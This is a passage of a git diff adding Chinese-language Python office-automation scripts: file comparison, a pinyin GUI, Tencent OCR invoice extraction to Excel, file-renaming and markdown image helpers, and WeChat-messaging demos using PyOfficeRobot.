+ "%s,%s,%s,%s,%s\n" % (source_file, md5_source_file, target_file, md5_target_file, "false")
+ )
+ except:
+ output_file.write(
+ ",%s,,%s,%s\n" % ("", md5_source_file, "", md5_target_file, "false")
+ )
+ print("%s 和 %s 不相等,记录在校验结果中" % (source_file, target_file))
+ else:
+ try:
+ output_file.write(
+ "%s,%s,%s,%s,%s\n" % (source_file, md5_source_file, "not exists", "", "false")
+ )
+ except:
+ output_file.write(
+ ",%s,,%s,%s\n" % ("", md5_source_file, "", "not exists", "false")
+ )
+ print("%s不存在target(目标文件夹),记录在校验结果中" % source_file)
+ output_file.close()
+ print("校验完成,结果请查看%s文件" % (output_file.name))
+
+# file_compare("D:\\blog\\bin\\yarn","C:\\Users\\DUZUN\\Desktop\\bin\\yarn")
+# folder_compare("D:\\blog\\bin","C:\\Users\\DUZUN\\Desktop\\bin")
\ No newline at end of file
diff --git a/contributors/wangpeng/pinyin_gui.py b/contributors/wangpeng/pinyin_gui.py
new file mode 100644
index 0000000..9ea581f
--- /dev/null
+++ b/contributors/wangpeng/pinyin_gui.py
@@ -0,0 +1,84 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@代码日期 :2023/9/26 21:46
+@本段代码的视频说明 :
+'''
+import sys
+
+import pohan
+from PyQt5.QtWidgets import QApplication, QWidget, QVBoxLayout, QLineEdit, QTextEdit, QPushButton, QMessageBox
+from pohan.pinyin.pinyin import Style
+
+
+class PinyinConverter(QWidget):
+ def __init__(self):
+ super().__init__()
+ self.initUI()
+
+ def initUI(self):
+ # 创建布局
+ layout = QVBoxLayout()
+
+ # 创建输入文本框
+ self.input_text = QLineEdit()
+ layout.addWidget(self.input_text)
+
+ # 创建转换按钮
+ convert_button = QPushButton('转换')
+ convert_button.clicked.connect(self.convert)
+ layout.addWidget(convert_button)
+
+ # 创建输出文本框
+ self.output_text = QTextEdit()
+ self.output_text.setReadOnly(True)
+ layout.addWidget(self.output_text)
+
+ # 创建复制按钮
+ copy_button = QPushButton('复制')
+ copy_button.clicked.connect(self.copy_output)
+ layout.addWidget(copy_button)
+
+ # 创建退出按钮
+ quit_button = QPushButton('退出')
+ quit_button.clicked.connect(self.close)
+ layout.addWidget(quit_button)
+
+ # 创建关于按钮
+ about_button = QPushButton('关于')
+ about_button.clicked.connect(self.show_about)
+ layout.addWidget(about_button)
+
+ # 设置布局
+ self.setLayout(layout)
+
+ # 设置窗口标题和大小
+ self.setWindowTitle('拼音转换器')
+ self.setGeometry(300, 300, 300, 200)
+
+ def convert(self):
+ # 获取输入文本
+ input_text = self.input_text.text()
+
+ # 将汉字转换成拼音带声调的结果
+ pinyin_list = pohan.pinyin.han2pinyin(input_text, style=Style.TONE)
+
+ # 设置输出文本框显示结果
+ self.output_text.setPlainText(f'带声调的结果:{pinyin_list}')
+
+ def copy_output(self):
+ # 复制输出文本到剪贴板
+ clipboard = QApplication.clipboard()
+ clipboard.setText(self.output_text.toPlainText())
+
+ def show_about(self):
+ QMessageBox.about(self, '关于', '谨献给一起学习的道友')
+
+
+if __name__ == '__main__':
+ app = QApplication(sys.argv)
+ converter = PinyinConverter()
+ converter.show()
+ sys.exit(app.exec_())
diff --git a/utils/__init__.py b/contributors/wzllby/file/.gitkeep
similarity index 100%
rename from utils/__init__.py
rename to contributors/wzllby/file/.gitkeep
diff --git a/contributors/wzllby/motor_vehicle_invoice_identification.py b/contributors/wzllby/motor_vehicle_invoice_identification.py
new file mode 100644
index 0000000..316af24
--- /dev/null
+++ b/contributors/wzllby/motor_vehicle_invoice_identification.py
@@ -0,0 +1,184 @@
+import os.path
+
+from tencentcloud.common import credential
+from tencentcloud.common.profile.client_profile import ClientProfile
+from tencentcloud.common.profile.http_profile import HttpProfile
+from tencentcloud.common.exception.tencent_cloud_sdk_exception import TencentCloudSDKException
+from tencentcloud.ocr.v20181119 import ocr_client, models
+from utils import *
+
+import json
+import pandas as pd
+
+
+class MotorVehicleInvoiceIdentificaion():
+
+ def __init__(self):
+ self.api_key = "ocr.tencentcloudapi.com"
+
+ def get_tencent_secret(self, csv_path):
+ df = pd.read_csv(csv_path)
+ secret_id = df["SecretId"][0]
+ secret_key = df["SecretKey"][0]
+ return [secret_id, secret_key]
+
+ def get_img_info(self, img_path, secret_id, secret_key):
+ try:
+ # 密钥可前往官网控制台 https://console.cloud.tencent.com/cam/capi 进行获取
+ cred = credential.Credential(secret_id, secret_key)
+ httpProfile = HttpProfile()
+ httpProfile.endpoint = self.api_key
+ clientProfile = ClientProfile()
+ clientProfile.httpProfile = httpProfile
+ client = ocr_client.OcrClient(cred, "", clientProfile)
+ req = models.RecognizeGeneralInvoiceRequest()
+ encode_str = get_base64_by_img(img_path)
+ params = {
+ "ImageUrl": "",
+ "Types": [12],
+ "ImageBase64": encode_str
+ }
+ req.from_json_string(json.dumps(params))
+ resp = client.RecognizeGeneralInvoice(req)
+ if resp.MixedInvoiceItems[0].Code == 'OK':
+ motor_vehicle_sale_invoice = resp.MixedInvoiceItems[0].SingleInvoiceInfos.MotorVehicleSaleInvoice
+
+ result = {
+ "购买方名称": motor_vehicle_sale_invoice.Buyer,
+ "发票号码": motor_vehicle_sale_invoice.Number,
+ "发票代码": motor_vehicle_sale_invoice.Code,
+ "纳税人识别号/统一社会信用代码/身份证号码": motor_vehicle_sale_invoice.BuyerTaxID,
+ "车辆类型": motor_vehicle_sale_invoice.VehicleType,
+ "厂牌型号": motor_vehicle_sale_invoice.VehicleModel,
+ "产地": motor_vehicle_sale_invoice.Origin,
+ "合格证号": motor_vehicle_sale_invoice.CertificateNumber,
+ "发动机号码": motor_vehicle_sale_invoice.VehicleEngineCode,
+ "车辆识别代号/车架号码": motor_vehicle_sale_invoice.VIN,
+ "价税合计": motor_vehicle_sale_invoice.TotalCn,
+ "价税合计(小写)": motor_vehicle_sale_invoice.Total,
+ "销货单位名称": motor_vehicle_sale_invoice.SellerAddress,
+ "电话": motor_vehicle_sale_invoice.SellerTel,
+ "纳税人识别号": motor_vehicle_sale_invoice.SellerTaxID,
+ "账号": motor_vehicle_sale_invoice.SellerBankAccount,
+ "地址": motor_vehicle_sale_invoice.SellerAddress,
+ "开户银行": motor_vehicle_sale_invoice.SellerBank,
+ "增值税税率或征收率": motor_vehicle_sale_invoice.TaxRate,
+ "增值税税额": motor_vehicle_sale_invoice.Tax,
+ "主管税务机关及代码": motor_vehicle_sale_invoice.TaxAuthorities + motor_vehicle_sale_invoice.TaxAuthoritiesCode,
+ "不含税价": motor_vehicle_sale_invoice.PretaxAmount,
+ "开票日期": motor_vehicle_sale_invoice.Date,
+ "开票人": motor_vehicle_sale_invoice.Issuer,
+ "备注": motor_vehicle_sale_invoice.Remark
+ }
+ return result
+ return None
+ except TencentCloudSDKException as err:
+ print(err)
+
+ def copy_rename_invoices(self, source_dir, target_dir='./result/new_dir'):
+ """
+ 遍历目录,查找机动车发票下的新车发票文件,复制并重命名
+ :param source_dir: 源目录路径
+ :param target_dir: 目标目录路径
+ :return: 新文件路径列表
+ """
+ # 创建目标目录(如果不存在)
+ if os.path.exists(target_dir):
+ shutil.rmtree(target_dir)
+ os.makedirs(target_dir, exist_ok=True)
+
+ # 初始化计数器和结果列表
+ counter = 1
+ new_file_paths = []
+
+ # 遍历所有目录和文件
+ for root, dirs, files in os.walk(source_dir):
+ # 检查是否存在"机动车发票"目录
+ if "机动车发票" in dirs:
+ motor_dir = os.path.join(root, "机动车发票")
+
+ # 遍历该目录下的所有文件
+ for filename in os.listdir(motor_dir):
+ file_path = os.path.join(motor_dir, filename)
+
+ # 检查是否为文件且包含"新车发票"
+ if os.path.isfile(file_path) and "新车发票" in filename:
+ # 分离文件名和扩展名
+ _, ext = os.path.splitext(filename)
+
+ # 生成新文件名(新车发票_数字.扩展名)
+ new_filename = f"新车发票_{counter}{ext}"
+ new_filepath = os.path.join(target_dir, new_filename)
+
+ # 复制文件并保留元数据
+ try:
+ shutil.copy2(file_path, new_filepath)
+ new_file_paths.append(new_filepath)
+ counter += 1
+ except Exception as e:
+ print(f"复制文件 {file_path} 失败: {str(e)}")
+ return new_file_paths
+
+ def main_exec(self, origin_zip_file, result_excel_file):
+ if not os.path.exists(origin_zip_file):
+ print("需要解压的zip文件不存在!")
+ return
+ # 删除上次生成的excel文件
+ if os.path.exists(result_excel_file):
+ os.remove(result_excel_file)
+ process_file_path = None
+ try:
+ # 获取解压后的文件路径
+ process_file_path = process_zip(origin_zip_file)
+ if not process_file_path:
+ print("没有解压文件!")
+ return
+ # 参数为秘钥文件,在官网控制台 https://console.cloud.tencent.com/cam/capi 点击新建密钥,然后点击下载CSV文件,不需要可以注释
+ secrets = self.get_tencent_secret("SecretKey.csv")
+ if secrets is None or len(secrets) != 2:
+ print("获取密钥有误,请检查密钥文件!")
+ return
+ # 获取所有的发票并且移动到新的文件中
+ new_invoice_path = self.copy_rename_invoices(process_file_path)
+ result = []
+ count = 1
+ for new_path in new_invoice_path:
+ print(f"正在识别第{count}张文件!")
+ count += 1
+ # 解析文件获取信息 第二个和第三个参数可直接在网站复制
+ result_info = self.get_img_info(new_path, secrets[0], secrets[1])
+ if result_info is not None:
+ result.append(result_info)
+ df = pd.DataFrame(result)
+ # 写入excel
+ df.to_excel(result_excel_file, index=False)
+ finally:
+ if process_file_path:
+ shutil.rmtree(process_file_path)
+
+ def main_exec_single(self, origin_zip_file, result_excel_file):
+ if not os.path.exists(origin_zip_file):
+ print("需要识别的文件不存在!")
+ return
+ # 删除上次生成的excel文件
+ if os.path.exists(result_excel_file):
+ os.remove(result_excel_file)
+ # 参数为秘钥文件,在官网控制台 https://console.cloud.tencent.com/cam/capi 点击新建密钥,然后点击下载CSV文件,不需要可以注释
+ secrets = self.get_tencent_secret("SecretKey.csv")
+ if secrets is None or len(secrets) != 2:
+ print("获取密钥有误,请检查密钥文件!")
+ return
+ # 解析文件获取信息 第二个和第三个参数可直接在网站复制
+ result_info = self.get_img_info(origin_zip_file, secrets[0], secrets[1])
+ df = pd.DataFrame([result_info])
+ # 写入excel
+ df.to_excel(result_excel_file, index=False)
+
+
+if __name__ == '__main__':
+ base_dir = os.path.dirname(os.path.abspath(__file__))
+ os.chdir(base_dir)
+ mon = MotorVehicleInvoiceIdentificaion()
+ # 第一个参数为zip文件的路径 第二个文件为生成的excel的文件路径
+ mon.main_exec("file/样例.zip", "./result/output_result.xlsx")
+ mon.main_exec_single("file/样例.jpg", "./result/output.xlsx")
diff --git a/contributors/wzllby/result/.gitkeep b/contributors/wzllby/result/.gitkeep
new file mode 100644
index 0000000..e69de29
diff --git a/contributors/wzllby/utils.py b/contributors/wzllby/utils.py
new file mode 100644
index 0000000..ab12f26
--- /dev/null
+++ b/contributors/wzllby/utils.py
@@ -0,0 +1,71 @@
+"""
+ 此类为通用工具类
+"""
+
+import zipfile
+import base64
+import os
+import shutil
+import pandas as pd
+
+
+def process_zip(zip_path, target_path='./file'):
+ """
+ 解压zip文件,获取解压后的文件路径
+
+ Args:
+ zip_path: 需要解压的zip文件
+ target_path: 解压后的文件 默认是当前文件
+ """
+ # 创建临时文件夹
+ temp_dir = "./temp"
+ os.makedirs(temp_dir, exist_ok=True)
+ # 解压zip文件
+ with zipfile.ZipFile(zip_path, 'r') as zip_ref:
+ for file in zip_ref.namelist():
+ # 处理乱码
+ fixed_name = file.encode('cp437').decode('gbk')
+ fixed_path = os.path.join(temp_dir, fixed_name)
+ if file.endswith('/'):
+ os.makedirs(fixed_path, exist_ok=True)
+ else:
+ with open(fixed_path, 'wb') as f:
+ f.write(zip_ref.read(file))
+ items = os.listdir(temp_dir)
+ if len(items) != 1 or not os.path.isdir(os.path.join(temp_dir, items[0])):
+ raise ValueError("zip文件格式有误")
+ # 获取唯一的文件夹名称
+ single_folder = items[0]
+ folder_path = os.path.join(temp_dir, single_folder)
+
+ # 移动到目标目录
+ target_folder = os.path.join(target_path, single_folder)
+ shutil.move(folder_path, target_folder)
+
+ # 清理临时目录
+ os.rmdir(temp_dir)
+ return target_folder
+
+
+def get_base64_by_img(img_path):
+ """
+ 根据文件路径获取base64编码
+
+ Args:
+ img_path: 图片路径
+ """
+ with open(img_path, "rb") as image_file:
+ return base64.b64encode(image_file.read()).decode('utf-8')
+
+
+def get_tencent_secret(csv_path):
+ """
+ 获取密钥信息
+
+ Args:
+ csv_path: 密钥csv信息csv文件
+ """
+ df = pd.read_csv(csv_path)
+ secret_id = df["SecretId"][0]
+ secret_key = df["SecretKey"][0]
+ return [secret_id, secret_key]
diff --git a/contributors/yinzeyuan/Rename-AddSomething.py b/contributors/yinzeyuan/Rename-AddSomething.py
new file mode 100644
index 0000000..e169e52
--- /dev/null
+++ b/contributors/yinzeyuan/Rename-AddSomething.py
@@ -0,0 +1,76 @@
+# import pathlib
+#
+#
+# def file_name_insert_content(file_path, insert_position: int, insert_content: str):
+# """
+#
+# :param Path: 文件存放路径
+# :param InsertPosition: 插入位置(内容将插入在此之后,如果输入位置大于文件主名长度将插入在末尾)
+# :param InsertContent: 插入内容
+# """
+# Path = pathlib.Path(file_path).resolve()
+# if Path.is_dir():
+# FileNameList = list(Path.glob("*")) # 获取该路径下的文件列表
+# for FileName in FileNameList:
+# if FileName.is_file(): # 判断是否为文件,只对文件进行操作
+# FileNameExtension = "".join(list(FileName.suffixes))
+# FileNameRoot = FileName.name.replace(FileNameExtension, "")
+# # 分离文件主名和扩展名,防止对扩展名进行操作
+# FileNameFormer = FileNameRoot[:insert_position:]
+# FileNameLatter = FileNameRoot[insert_position::]
+# # 拆分文件主名
+# NewFileName = FileNameFormer + insert_content + FileNameLatter + FileNameExtension # 合并文件名
+# if not Path.joinpath(NewFileName).is_file():
+# FileName.rename(Path.joinpath(NewFileName))
+# else:
+# print(f"该目录下已存在名为{NewFileName}的文件,请检查!")
+# else:
+# print("请输入文件夹路径")
+#
+#
+# def file_name_add_prefix(file_path, prefix_content: str):
+# """
+#
+# :param Path: 文件存放路径
+# :param PrefixContent: 前缀内容
+# """
+# Path = pathlib.Path(file_path).resolve()
+# if Path.is_dir():
+# FileNameList = list(Path.glob("*")) # 获取该路径下的文件列表
+# for FileName in FileNameList:
+# if FileName.is_file(): # 判断是否为文件,只对文件进行操作
+# NewFileName = prefix_content + FileName.name # 合并文件名
+# if not Path.joinpath(NewFileName).is_file():
+# FileName.rename(Path.joinpath(NewFileName))
+# else:
+# print(f"该目录下已存在名为{NewFileName}的文件,请检查!")
+# else:
+# print("请输入文件夹路径")
+#
+#
+# def file_name_add_postfix(file_path, postfix_content: str):
+# """
+#
+# :param Path: 文件存放路径
+# :param PostfixContent: 后缀内容
+# """
+# Path = pathlib.Path(file_path).resolve()
+# if Path.is_dir():
+# FileNameList = list(Path.glob("*")) # 获取该路径下的文件列表
+# for FileName in FileNameList:
+# if FileName.is_file(): # 判断是否为文件,只对文件进行操作
+# FileNameExtension = "".join(list(FileName.suffixes))
+# FileNameRoot = FileName.name.replace(FileNameExtension, "")
+# # 分离文件主名和扩展名
+# NewFileName = FileNameRoot + postfix_content + FileNameExtension # 合并文件名
+# if not Path.joinpath(NewFileName).is_file():
+# FileName.rename(Path.joinpath(NewFileName))
+# else:
+# print(f"该目录下已存在名为{NewFileName}的文件,请检查!")
+# else:
+# print("请输入文件夹路径")
+#
+#
+# if __name__ == '__main__':
+# # FileNameAddPostfix(Path=r'D:\workplace\code\test\output\test', PostfixContent='2022')
+# file_name_insert_content(Path=r'D:\workplace\code\test\output\test', InsertPosition=2, InsertContent='888')
diff --git a/contributors/yinzeyuan/SearchSpecifyTypeFile.py b/contributors/yinzeyuan/SearchSpecifyTypeFile.py
new file mode 100644
index 0000000..8df1c3b
--- /dev/null
+++ b/contributors/yinzeyuan/SearchSpecifyTypeFile.py
@@ -0,0 +1,36 @@
+# import pathlib
+#
+#
+# def search_specify_type_file(file_path, file_type: str):
+# '''
+#
+# :param file_path:目标路径
+# :param file_type:需要查找的文件类型
+# '''
+# print("开始查找")
+# i = 0 # 计数变量
+# file_path = pathlib.Path(file_path).resolve()
+# if file_path.is_dir():
+# file_name_list = list(file_path.glob("**/*")) # 获取该路径下的文件列表
+# for file_name in file_name_list:
+# file_name_extension = "".join(list(file_name.suffixes))
+# if file_name_extension == file_type:
+# print(f"{file_name.name},{file_name.parent}")
+# i = i + 1
+# print(f"查找完成,共找到{i}个文件")
+# else:
+# print("请输入文件夹路径")
+#
+#
+# if __name__ == '__main__':
+# search_specify_type_file("./test/", ".txt")
+# r'''
+# test目录下有如下文件:'新建文本文档.txt', '新建文本文档 (2).txt', 并有多层子文件,子文件夹内同样有且仅有上述两个文件
+# 输出为:
+# 新建文本文档 (2).txt,C:\Users\37386\PycharmProjects\Python-officeDev\test
+# 新建文本文档.txt,C:\Users\37386\PycharmProjects\Python-officeDev\test
+# 新建文本文档 (2).txt,C:\Users\37386\PycharmProjects\Python-officeDev\test\1
+# 新建文本文档.txt,C:\Users\37386\PycharmProjects\Python-officeDev\test\1
+# 新建文本文档 (2).txt,C:\Users\37386\PycharmProjects\Python-officeDev\test\1\2
+# 新建文本文档.txt,C:\Users\37386\PycharmProjects\Python-officeDev\test\1\2
+# '''
diff --git a/contributors/yinzeyuan/check_local_dir_image_link_markdown.py b/contributors/yinzeyuan/check_local_dir_image_link_markdown.py
new file mode 100644
index 0000000..44e62ba
--- /dev/null
+++ b/contributors/yinzeyuan/check_local_dir_image_link_markdown.py
@@ -0,0 +1,62 @@
+# -*- coding: utf-8 -*-
+import pathlib
+
+
+def check_local_dir_image_link_markdown(markdown_path, image_path):
+ """
+
+ :param markdown_path: markdown文件路径
+ :param image_path: 本地图片存放路径
+ """
+ markdown_path = pathlib.Path(markdown_path)
+ image_path = pathlib.Path(image_path)
+ # 转换路径为对象
+ if markdown_path.is_file() and image_path.is_dir():
+ print("检查中……")
+ markdown_image_list = [] # markdown文件中链接的图片列表
+ markdown_file = open(markdown_path, encoding="utf-8")
+ markdown_file = markdown_file.readlines()
+ for line in markdown_file:
+ # 按行遍历文件
+ if line[:2:] == "![":
+ # 如果该行有链接图片
+ this_image_path = pathlib.Path(line[line.rfind("(") + 1:line.rfind(")"):])
+ # 提取链接图片路径
+ if this_image_path.is_absolute():
+ # Python文件和markdown文件通常不在同一路径,相对路径基准不同,故需要判断链接图片路径是否为绝对路径。如果是则直接添加进列表,如果不是则要拼接上markdown所在的路径
+ markdown_image_list.append(this_image_path)
+ else:
+ this_image_path = markdown_path.parent.joinpath(this_image_path).resolve()
+ markdown_image_list.append(this_image_path)
+ local_dir_image_list = []
+ for i in list(image_path.glob("**/*")):
+ local_dir_image_list.append(i.resolve())
+ markdown_image_set = set(markdown_image_list)
+ local_dir_image_set = set(local_dir_image_list)
+ if local_dir_image_set ^ markdown_image_set != (local_dir_image_set ^ markdown_image_set) & local_dir_image_set:
+ """
+ 如果有文件夹中有图片未被链接到markdown中或markdown中链接了其他路径的图片,则local_dir_image_set ^ markdown_image_set不为空
+ (local_dir_image_set ^ markdown_image_set) & local_dir_image_set为未被链接到markdown中的图片
+ 如果两个集合不相等,则代表markdown中链接了其他路径的图片
+ """
+ print("文档中有链接其他路径的图片,请检查! ")
+ other_dir_image_list = list((local_dir_image_set ^ markdown_image_set) & markdown_image_set)
+ print("其他路径图片列表:")
+ for i in other_dir_image_list:
+ print(str(i))
+ print()
+ if (local_dir_image_set ^ markdown_image_set) & local_dir_image_set != set():
+ print("未被链接图片列表:")
+ for i in local_dir_image_set ^ markdown_image_set & local_dir_image_set:
+ # 打印未被链接图片名列表
+ print(i)
+ else:
+ print(f"{image_path.resolve()}内无未被链接的图片")
+ elif not markdown_path.is_file():
+ print("markdown文件路径输入有误,请检查!")
+ elif not image_path.is_dir():
+ print("图片存放路径输入有误,请检查!")
+
+
+if __name__ == '__main__':
+ check_local_dir_image_link_markdown("./test/test.md", "./test/test.assets")
diff --git a/contributors/yinzeyuan/markdown_link_image_to_base64.py b/contributors/yinzeyuan/markdown_link_image_to_base64.py
new file mode 100644
index 0000000..b50f934
--- /dev/null
+++ b/contributors/yinzeyuan/markdown_link_image_to_base64.py
@@ -0,0 +1,45 @@
+import base64
+import pathlib
+
+
+def markdown_link_image_to_base64(markdown_path):
+ markdown_path = pathlib.Path(markdown_path)
+ if markdown_path.is_file() and markdown_path.suffix == ".md":
+ i = 0 # 图片计数变量
+ image_base64_list = [] # 图片base64编码列表
+ markdown_file = open(markdown_path, encoding="utf-8")
+ new_markdown_file = open(markdown_path.parent.joinpath(markdown_path.name[:-3:] + "(base64).md"), "x",
+ encoding="utf-8")
+ markdown_file = markdown_file.readlines()
+ for line in markdown_file:
+ # 按行遍历文件
+ if line[:2:] == "![":
+ # 如果该行有链接图片
+ i = i + 1
+ this_image_path = pathlib.Path(line[line.rfind("(") + 1:line.rfind(")"):])
+ if not this_image_path.is_absolute():
+ # Python文件和markdown文件通常不在同一路径,相对路径基准不同,故需要判断链接图片路径是否为绝对路径。
+ this_image_path = markdown_path.parent.joinpath(this_image_path).resolve()
+ this_image_file = open(this_image_path, "rb")
+ this_image_base64_data = base64.b64encode(this_image_file.read())
+ # 对链接的图片进行base64编码
+ line = line[:line.index("("):] + f"[image{str(i)}]" + "\n"
+ image_base64_list.append(
+ f"[image{str(i)}]: " + "data:image/" + this_image_path.suffix + ";base64," + str(
+ this_image_base64_data)[2:-1:] + "\n")
+ new_markdown_file.writelines(line)
+ for i in image_base64_list:
+ # 遍历存放base64编码的列表
+ if markdown_file[-1] != "\n":
+ new_markdown_file.writelines("\n")
+ # 判断最后一行是否为空行,如果不是则写入换行符
+ new_markdown_file.writelines(i)
+ # 将图片的base64编码写入新文件
+ elif not markdown_path.is_file():
+ print("markdown文件路径输入有误,请检查!")
+ elif markdown_path.suffix != ".md":
+ print("请输入.md文件的路径!")
+
+
+if __name__ == '__main__':
+ markdown_link_image_to_base64("./test/test.md")
diff --git a/contributors/yinzeyuan/output_file_list_to_excel.py b/contributors/yinzeyuan/output_file_list_to_excel.py
new file mode 100644
index 0000000..2a0cf21
--- /dev/null
+++ b/contributors/yinzeyuan/output_file_list_to_excel.py
@@ -0,0 +1,24 @@
+import pathlib
+import openpyxl
+
+
+def output_file_list_to_excel(dir_path: str):
+ """
+ :param dir_path: 需要生成文件列表的目录
+ """
+ dir_path = pathlib.Path(dir_path).resolve()
+ if dir_path.is_dir():
+ dir_path_list = list(dir_path.glob("**/*"))
+ output_excel = openpyxl.Workbook()
+ output_excel_sheet = output_excel.active
+ output_excel_sheet.append(["完整路径", "文件所在路径", "文件名"])
+ for file_path in dir_path_list:
+ if file_path.is_file():
+ output_excel_sheet.append([str(file_path), str(file_path.parent), str(file_path.name)])
+ output_excel.save(dir_path.joinpath("本目录文件列表.xlsx"))
+ else:
+ print("请输入正确的文件路径!")
+
+
+if __name__ == '__main__':
+ output_file_list_to_excel(".")
diff --git a/contributors/yinzeyuan/screen_unmarked_image.py b/contributors/yinzeyuan/screen_unmarked_image.py
new file mode 100644
index 0000000..d586af4
--- /dev/null
+++ b/contributors/yinzeyuan/screen_unmarked_image.py
@@ -0,0 +1,60 @@
+import pathlib
+import shutil
+
+'''
+子包的名字:Ruiming
+'''
+
+
+class MainRuiming():
+ def __make_dir(self, dir_path, dir_name):
+ """
+
+ :param dir_path: 准备新建的位置
+ :param dir_name: 新建文件夹的名称
+ """
+ new_dir_path = dir_path.joinpath(dir_name)
+ if not new_dir_path.is_dir():
+ new_dir_path.mkdir()
+ elif list(new_dir_path.iterdir()) != []:
+ exit("目录\"" + str(new_dir_path) + "\"存在且不为空,请检查!")
+
+ def screen_unmarked_image(self, dir_path, image_name_extension: str = ".jpg",
+ marked_file_name_extension: str = ".xml"):
+ """
+
+ :param dir_path: 图片及标注文件的存放路径
+ :param image_name_extension: 图片文件的后缀,默认为.jpg
+ :param marked_file_name_extension: 标注文件的后缀,默认为.xml
+ """
+ dir_path = pathlib.Path(dir_path).resolve()
+ if dir_path.is_dir():
+ unmarked_image_storage_path = dir_path.joinpath("未标注图片")
+ self.__make_dir(dir_path, "未标注图片")
+ image_name_root_set = set()
+ marked_file_name_root_set = set()
+ # 创建集合
+ dir_path_file_list = list(dir_path.iterdir())
+ for file_name in dir_path_file_list:
+ # 按文件类型添加文件名到对应的集合
+ if file_name.is_file():
+ if file_name.suffix == image_name_extension:
+ image_name_root_set.add(file_name.name.replace(image_name_extension, ""))
+ if file_name.suffix == marked_file_name_extension:
+ marked_file_name_root_set.add(file_name.name.replace(marked_file_name_extension, ""))
+ unmarked_image_list = list(image_name_root_set - marked_file_name_root_set)
+ for i in unmarked_image_list:
+ shutil.move(dir_path.joinpath(i + image_name_extension),
+ unmarked_image_storage_path.joinpath(i + image_name_extension))
+ print("筛选完成")
+ else:
+ print("路径输入有误,请检查!")
+
+
+if __name__ == '__main__':
+ ruiming = MainRuiming()
+ ruiming.screen_unmarked_image(dir_path="./test1")
+'''
+test1文件夹下有1.jpg、2.jpg、1.xml三个文件
+执行完毕后,2.jpg被移动到./test1/未标注图片/中
+'''
diff --git "a/demo/PyOfficeRobot/001-\345\217\221\344\270\200\346\235\241\344\277\241\346\201\257.py" "b/demo/PyOfficeRobot/001-\345\217\221\344\270\200\346\235\241\344\277\241\346\201\257.py"
new file mode 100644
index 0000000..cd730b9
--- /dev/null
+++ "b/demo/PyOfficeRobot/001-\345\217\221\344\270\200\346\235\241\344\277\241\346\201\257.py"
@@ -0,0 +1,14 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@Date :2023/2/13 21:19
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1te4y1y7Ro
+'''
+
+# 首先,将PyOfficeRobot模块导入到我们的代码块中。
+import PyOfficeRobot
+
+PyOfficeRobot.chat.send_message(who='小红书:程序员晚枫', message='你好')
+# PyOfficeRobot.chat.send_message(who='每天进步一点点', message='你好')
diff --git "a/demo/PyOfficeRobot/002-\345\217\221\346\226\207\344\273\266.py" "b/demo/PyOfficeRobot/002-\345\217\221\346\226\207\344\273\266.py"
new file mode 100644
index 0000000..5628634
--- /dev/null
+++ "b/demo/PyOfficeRobot/002-\345\217\221\346\226\207\344\273\266.py"
@@ -0,0 +1,13 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@Date :2023/2/13 21:19
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1te4y1y7Ro
+'''
+
+import PyOfficeRobot
+
+# PyOfficeRobot.file.send_file(who='每天进步一点点', file=r'C:\Users\Lenovo\Desktop\temp\0.jpg')
+PyOfficeRobot.file.send_file(who='B站:程序员晚枫', file=r'C:\Users\Lenovo\Desktop\temp\0.jpg')
diff --git "a/demo/PyOfficeRobot/003-\346\240\271\346\215\256\345\205\263\351\224\256\350\257\215\345\233\236\345\244\215.py" "b/demo/PyOfficeRobot/003-\346\240\271\346\215\256\345\205\263\351\224\256\350\257\215\345\233\236\345\244\215.py"
new file mode 100644
index 0000000..2770163
--- /dev/null
+++ "b/demo/PyOfficeRobot/003-\346\240\271\346\215\256\345\205\263\351\224\256\350\257\215\345\233\236\345\244\215.py"
@@ -0,0 +1,18 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@Date :2023/2/13 21:19
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1m8411b7LZ
+'''
+import PyOfficeRobot
+
+keywords = {
+ "我要报名": "你好,这是报名链接:www.python-office.com",
+ "点赞了吗?": "点了",
+ "关注了吗?": "必须的",
+ "投币了吗?": "三连走起",
+}
+PyOfficeRobot.chat.chat_by_keywords(who='抖音:程序员晚枫', keywords=keywords)
+# PyOfficeRobot.chat.chat_by_keywords(who='每天进步一点点', keywords=keywords)
diff --git "a/demo/PyOfficeRobot/004-\345\256\232\346\227\266\345\217\221\351\200\201.py" "b/demo/PyOfficeRobot/004-\345\256\232\346\227\266\345\217\221\351\200\201.py"
new file mode 100644
index 0000000..27f19e5
--- /dev/null
+++ "b/demo/PyOfficeRobot/004-\345\256\232\346\227\266\345\217\221\351\200\201.py"
@@ -0,0 +1,12 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
+@读者群 :http://www.python4office.cn/wechat-group/
+@学习网站 :https://www.python-office.com
+@Date :2023/2/13 21:19
+@本段代码的视频说明 :https://www.bilibili.com/video/BV1m8411b7LZ
+'''
+import PyOfficeRobot
+
+# PyOfficeRobot.chat.send_message_by_time(who='每天进步一点点', message='你好', time='21:51:55')
+PyOfficeRobot.chat.send_message_by_time(who='快手:程序员晚枫', message='你好', time='21:51:55')
diff --git "a/demo/PyOfficeRobot/005-\350\207\252\345\256\232\344\271\211\345\212\237\350\203\275.py" "b/demo/PyOfficeRobot/005-\350\207\252\345\256\232\344\271\211\345\212\237\350\203\275.py"
new file mode 100644
index 0000000..14634fc
--- /dev/null
+++ "b/demo/PyOfficeRobot/005-\350\207\252\345\256\232\344\271\211\345\212\237\350\203\275.py"
@@ -0,0 +1,18 @@
+# -*- coding: UTF-8 -*-
+'''
+@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng
